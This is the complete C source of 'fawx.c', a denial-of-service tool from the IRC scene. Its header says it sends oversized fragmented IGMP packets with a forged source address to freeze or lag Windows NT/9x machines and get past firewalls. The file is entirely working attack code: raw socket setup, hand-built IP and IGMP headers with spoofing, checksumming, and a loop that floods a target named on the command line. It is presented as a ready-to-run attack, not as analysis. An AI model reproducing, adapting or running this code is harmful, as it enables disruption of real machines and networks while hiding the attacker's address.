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- /* fawx.c v1 by ben-z -- igmp-8+frag attack for linux *
- * thanks to datagram for ssping.c - helped lots *
- * -------------------------------------------------- *
- * DESCRIPTION: *
- * Sends oversized fragmented IGMP packets to a box *
- * either making it freeze (WinNT/9x), or lagging *
- * it to hell and back. Since most win32 firewalls *
- * dont support IGMP, the attack successfully *
- * penetrates into the system, making it much more *
- * effective than an ICMP attack which is likely to *
- * be filtered. *
- * GREETINGS: *
- * mad props to datagram for writing ssping, also *
- * thanks to #fts(2) on undernet and the psychic *
- * crew on efnet. shouts to ka0z, cyrus, magicfx, *
- * ice-e, zeronine, soupnazi, benito, eklipz, c0s, *
- * metalman, chawp, folk, atomic-, dethwish, sindawg *
- * mosthated, and everyone on irc.slacknet.org.. */
-
- #include <stdio.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/ip_icmp.h>
- #include <netinet/igmp.h>
-
- void banner(void) {
- printf(" -----------------------------------------------\n");
- printf("| fawx v1 by ben-z: igmp-8+frag spoofing attack |\n");
- printf(" -----------------------------------------------\n");
- }
-
- void usage(const char *progname) {
-
- printf("[**] syntax: %s <spoof host> <target host> <number>\n",progname);
-
- }
-
- int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
-
- struct hostent *host;
-
- memset(addr,0,sizeof(struct sockaddr_in));
-
- addr->sin_family = AF_INET;
- addr->sin_addr.s_addr = inet_addr(name);
-
- if (addr->sin_addr.s_addr == -1) {
- if (( host = gethostbyname(name) ) == NULL ) {
- fprintf(stderr,"\nuhm.. %s doesnt exist :P\n",name);
- return(-1);
- }
- addr->sin_family = host->h_addrtype;
- memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
- }
-
- addr->sin_port = htons(port);
- return(0);
-
- }
-
- unsigned short in_cksum(addr, len)
- u_short *addr;
- int len;
- {
- register int nleft = len;
- register u_short *w = addr;
- register int sum = 0;
- u_short answer = 0;
-
- while (nleft > 1) {
- sum += *w++;
- nleft -= 2;
- }
-
- if (nleft == 1) {
- *(u_char *)(&answer) = *(u_char *)w ;
- sum += answer;
- }
-
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- answer = ~sum;
- return(answer);
- }
-
- int send_fawx(int socket,
- unsigned long spoof_addr,
- struct sockaddr_in *dest_addr) {
-
- unsigned char *packet;
- struct iphdr *ip;
- struct igmphdr *igmp;
- int rc;
-
-
- packet = (unsigned char *)malloc(sizeof(struct iphdr) +
- sizeof(struct igmphdr) + 8);
-
- ip = (struct iphdr *)packet;
- igmp = (struct igmphdr *)(packet + sizeof(struct iphdr));
-
- memset(ip,0,sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);
-
- ip->ihl = 5;
- ip->version = 4;
- ip->id = htons(34717);
- ip->frag_off |= htons(0x2000);
- ip->ttl = 255;
- ip->protocol = IPPROTO_IGMP;
- ip->saddr = spoof_addr;
- ip->daddr = dest_addr->sin_addr.s_addr;
- ip->check = in_cksum(ip, sizeof(struct iphdr));
-
-
- igmp->type = 8;
- igmp->code = 0;
-
- if (sendto(socket,
- packet,
- sizeof(struct iphdr) +
- sizeof(struct igmphdr) + 1,0,
- (struct sockaddr *)dest_addr,
- sizeof(struct sockaddr)) == -1) { return(-1); }
-
-
- ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);
- ip->frag_off = htons(8 >> 3);
- ip->frag_off |= htons(0x2000);
- ip->check = in_cksum(ip, sizeof(struct iphdr));
-
- igmp->type = 0;
- igmp->code = 0;
-
- if (sendto(socket,
- packet,
- sizeof(struct iphdr) +
- sizeof(struct igmphdr) + 8,0,
- (struct sockaddr *)dest_addr,
- sizeof(struct sockaddr)) == -1) { return(-1); }
-
- free(packet);
- /* printf("."); <- it looked way too ugly :P */
- return(0);
-
- }
-
- int main(int argc, char * *argv) {
-
- struct sockaddr_in dest_addr;
- unsigned int i,sock;
- unsigned long src_addr;
-
- banner();
- if ((argc != 4)) {
- usage(argv[0]);
- return(-1);
- }
-
- if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
- fprintf(stderr,"error opening raw socket. <got root?>\n");
- return(-1);
- }
-
- if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
- src_addr = dest_addr.sin_addr.s_addr;
-
- if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
-
- printf("[**] sending igmp-8+frag attacks to: %s.",argv[2]);
- for (i = 0;i < atoi(argv[3]);i++) {
- if (send_fawx(sock,
- src_addr,
- &dest_addr) == -1) {
- fprintf(stderr,"error sending packet. <got root?>\n");
- return(-1);
- }
- usleep(10000);
- }
- printf(" *eof*\n");
- }
-